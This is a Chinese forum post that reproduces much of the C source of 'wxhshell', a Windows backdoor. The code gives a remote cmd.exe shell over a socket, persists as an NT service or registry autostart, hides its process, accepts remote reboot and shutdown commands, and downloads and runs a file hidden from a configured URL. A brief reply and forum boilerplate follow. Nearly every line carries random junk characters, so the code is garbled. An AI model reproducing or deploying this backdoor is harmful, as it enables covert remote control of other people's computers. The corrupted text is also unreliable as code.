  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ||7r'Q  
  else Zx<s-J4o=w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aO'$}rDf$  
  } udg;jR-^  
  else { A]B D2   
NF0} eom  
    switch(cmd[0]) { F1?@tcr'  
  <4*7HY[  
  // 帮助 @ky5X V  
  case '?': { }mz4 3Sq<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K ^H=E  
    break; #(CI/7 -  
  } [kz<2P  
  // 安装 /NLpk7r[\q  
  case 'i': {  ~J"*ahl  
    if(Install()) GVY_u@6   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T:wd3^.CG  
    else eUqsvF}l!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LP_ !g  
    break; RXgi>Hz  
    } *8"5mC ;"  
  // 卸载 a&ZH  
  case 'r': { NK*~UePy  
    if(Uninstall()) P 2;j>=W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &#g;=jZ  
    else _}`iLA!$I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y{K~g<VL  
    break; wamqeb{u  
    } " I`<s<  
  // 显示 wxhshell 所在路径 Yk<?HNf  
  case 'p': { &e_M \D  
    char svExeFile[MAX_PATH]; p%J,af  
    strcpy(svExeFile,"\n\r"); V|xR`Q  
      strcat(svExeFile,ExeFile); hig^ovF  
        send(wsh,svExeFile,strlen(svExeFile),0); =5^L_, 4c2  
    break; `EU=u_N  
    } WABq6q!  
  // 重启 u-j$4\'  
  case 'b': { e|AJxn]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j4H,*fc  
    if(Boot(REBOOT)) CbS9fc&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O|%><I?I  
    else { lpve Yz  
    closesocket(wsh); 2#6yO`?uo  
    ExitThread(0); ]t7<$L   
    } dB_\0?jJ-  
    break; ]O7I7K  
    } <8r%_ ']  
  // 关机 2}I1z_dq~  
  case 'd': { C/_W>H_   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O,9KhX+  
    if(Boot(SHUTDOWN)) b V;R}3)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O>|Q Zd  
    else { Q?7U iTZ  
    closesocket(wsh); SMqJMirR  
    ExitThread(0); 3boINmX  
    } +Medu?K `  
    break; |nz,srr~  
    } 398}a!XM  
  // 获取shell gjL>FOe8u  
  case 's': { lXW.G  
    CmdShell(wsh); (Pc:A! }  
    closesocket(wsh); *"O7ml]  
    ExitThread(0); ./[%%"  
    break; cRT@Cu  
  } 2@:Go`mg  
  // 退出 5"^$3&)  
  case 'x': { 6/.-V1*O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #Cvjv; QwY  
    CloseIt(wsh); Bz9!a k~4  
    break; 8_8 R$ =V  
    } *8,]fBUq  
  // 离开 MBXumc_g  
  case 'q': { sh:sPzQ%Jv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bb+-R_3Kd  
    closesocket(wsh); >=6tfLQ  
    WSACleanup(); l>7`D3  
    exit(1); =4m?RPb~b  
    break; JQi)6A?J  
        } RBwI*~%g{  
  } O|?>rK  
  } jUI'F4.5x-  
wb.47S8  
  // 提示信息 aJOhji<b#L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MY4cMMjp~  
} zg0)9 br  
  } P8).Qn  
{ >bw:^F  
  return; FJp~8 x=  
} >q[(UV  
3iR;(l}  
// shell模块句柄 j2=jD G  
int CmdShell(SOCKET sock) b,]h X  
{ ^4_.5~(  
STARTUPINFO si; j1Q G-Rs&  
ZeroMemory(&si,sizeof(si)); AnP7KSN[\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +/-#yfn!TR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NK$k9,  
PROCESS_INFORMATION ProcessInfo; ;l7wme8Qk  
char cmdline[]="cmd"; kDS4 t?Ig  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sD_Z`1  
  return 0; /F4rbL^:  
} f,k'gM{K  
& LwR9\sh  
// 自身启动模式 pI,QkDJ0  
int StartFromService(void) MU<Y,4/k  
{ + ( `  
typedef struct GTeFDm; T^  
{ jL6u#0  
  DWORD ExitStatus; Siq2Glg_  
  DWORD PebBaseAddress; B'lWs;  
  DWORD AffinityMask; co|jUDu>W  
  DWORD BasePriority; O3j:Y|N@F  
  ULONG UniqueProcessId; gieTkZ  
  ULONG InheritedFromUniqueProcessId; ,<d[5;7x  
}   PROCESS_BASIC_INFORMATION; q+>{@tP9  
=^|^" b  
PROCNTQSIP NtQueryInformationProcess; Zq}w}v  
V; Yl:*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z\sy~DM;>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8G6PcTqv"  
.Xc, Gq{  
  HANDLE             hProcess; 9H_2Y%_  
  PROCESS_BASIC_INFORMATION pbi; 8&IsZPq%l  
\=kH7 !  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T\{ on[O  
  if(NULL == hInst ) return 0; *}-X '_  
Nh^T,nv*l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `M6!V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E*:!G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1j`-lD  
Q&opnvN  
  if (!NtQueryInformationProcess) return 0; lQ<2Vw#Yl  
+\fr3@Yc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =!*e; L  
  if(!hProcess) return 0; j#f+0  
ra0:Lg'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Vl%AN;o  
1`^l8V(  
  CloseHandle(hProcess); rr>QG<i;G  
o8-BTq8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {Kx eH7S  
if(hProcess==NULL) return 0; w4Qqo(  
[2pp)wq  
HMODULE hMod; 6iV jAxR  
char procName[255]; '_lyoVP  
unsigned long cbNeeded; L'BDS*  
5bYU(]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &=Gz[1 L  
>XcbNZV  
  CloseHandle(hProcess); "o 2p|2c  
GpMKOjVm|  
if(strstr(procName,"services")) return 1; // 以服务启动 o]t6u .L  
HgvgO\`]  
  return 0; // 注册表启动 0&mo1 k_U  
} @zL)R b%P$  
! @{rk p  
// 主模块 r Lg(J|^  
int StartWxhshell(LPSTR lpCmdLine) vIF=kKl9,  
{ Sf);j0G,D  
  SOCKET wsl; )@09Y_9r  
BOOL val=TRUE; F[<EXLQ  
  int port=0; Y9Q-<~\z  
  struct sockaddr_in door; SpPG  
an_qE}P  
  if(wscfg.ws_autoins) Install(); Jkzt=6WZ0  
L$=@j_V2  
port=atoi(lpCmdLine); ]( V+ qj  
[R+zzl&Zw  
if(port<=0) port=wscfg.ws_port; x|d Xa0=N_  
!C * %,Ak  
  WSADATA data; es]\ xw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X,: pT\G  
RrSSAoz1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dIQ7u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XKp.]c wP  
  door.sin_family = AF_INET; "u~l+aW0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Tf7$PSupP  
  door.sin_port = htons(port); >ygyPl ;1s  
r(h&=&T6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BIEc4k5(  
closesocket(wsl); J~eY,n.6]  
return 1; jb~a z  
} v_)a=I%o&2  
IMIZ#/  
  if(listen(wsl,2) == INVALID_SOCKET) { +-&N<U  
closesocket(wsl); F's($n  
return 1; qR4('  
} ^h{A AS>  
  Wxhshell(wsl); d"<Q}Ay  
  WSACleanup(); ^.5 L\  
,Dfq%~:grT  
return 0; E1IRb':  
)X@Obg  
} @'C f<wns  
{Z 3t0F  
// 以NT服务方式启动 L]hXAShmb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8ar2N)59  
{ .F:qJ6E  
DWORD   status = 0; b#bdz1@s  
  DWORD   specificError = 0xfffffff;  *Dtwr  
nr*~R-,\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DeE-M"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >8_#L2@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s `HSTq2  
  serviceStatus.dwWin32ExitCode     = 0; E/|]xKG  
  serviceStatus.dwServiceSpecificExitCode = 0; 5tT-[mQ*  
  serviceStatus.dwCheckPoint       = 0; s\i=-`  
  serviceStatus.dwWaitHint       = 0; G;_QE<V~_  
iwWy]V m7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AVVL]9b_2  
  if (hServiceStatusHandle==0) return; A"x1MjuqLM  
gvvl3`S{  
status = GetLastError(); zvf:*Na")  
  if (status!=NO_ERROR) ;F9<Yv  
{ oEbgyT gB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |Ak>kQJ(1z  
    serviceStatus.dwCheckPoint       = 0; eZWN9#p2  
    serviceStatus.dwWaitHint       = 0; OLJb8kO  
    serviceStatus.dwWin32ExitCode     = status; $C0Nv Jf  
    serviceStatus.dwServiceSpecificExitCode = specificError; sUN>uroi !  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >8Wvz.Nq/  
    return; "'h?O*V]u{  
  } $gT+Ue|7  
:-ZE~b HJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p.^mOkpt  
  serviceStatus.dwCheckPoint       = 0; Z m9 e|J  
  serviceStatus.dwWaitHint       = 0; XIh2Y\33ys  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vn|u&}h  
} OLUQjvnU  
Yr5A,-s  
// 处理NT服务事件,比如:启动、停止 +]uW|owxo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x- kCNy  
{ x7K   
switch(fdwControl) ot]eaad  
{ {[G2{ijRz  
case SERVICE_CONTROL_STOP: ]vJZ v"ACn  
  serviceStatus.dwWin32ExitCode = 0; (__=*ew  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K]' 84!l  
  serviceStatus.dwCheckPoint   = 0; p8K4^H  
  serviceStatus.dwWaitHint     = 0; hm3,?FMbq  
  { O=LS~&=,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jIJVl \i]  
  } 4v9zFJ<Z  
  return; TU$PAwn=  
case SERVICE_CONTROL_PAUSE: [tsi8r =T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rs {e6  
  break; A!Zjcp|  
case SERVICE_CONTROL_CONTINUE: V#[I/D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; UMwB.*  
  break; "r @RDw   
case SERVICE_CONTROL_INTERROGATE: r/1:!Vu(  
  break; gS4zX>rqe  
}; ;l> xXSB7$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F +PIZ%  
}  hLFf  
(rO_ Vfaa  
// 标准应用程序主函数 F>jPr8&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pg~vteq5  
{ ?g%5 d  
E]w1!Ah M  
// 获取操作系统版本 (-*NRY3*  
OsIsNt=GetOsVer(); Q:eIq<erY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t+Kxww58  
C-d|;R}Ww  
  // 从命令行安装 }qmBn`3R  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8^M5k%P  
_Z+tb]  
  // 下载执行文件 (A O]f fBU  
if(wscfg.ws_downexe) { ,/6V^K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /Y5I0Ko Uw  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6~zR(HzV{  
} ,\!4 A  
EQ`;=I3J9y  
if(!OsIsNt) { kf\n  
// 如果时win9x,隐藏进程并且设置为注册表启动 wVkms  
HideProc(); '<~rV  
StartWxhshell(lpCmdLine); w]]`/`  
} d=V4,:=S  
else )~xL_yW_X  
  if(StartFromService()) NCYN .@J  
  // 以服务方式启动 `GOxFDB.  
  StartServiceCtrlDispatcher(DispatchTable); tk"L2t  
else ;KJJK#j  
  // 普通方式启动 kRs[H xI3  
  StartWxhshell(lpCmdLine); L>+g;GJ  
rt$z&#M  
return 0; 11}sRu/  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八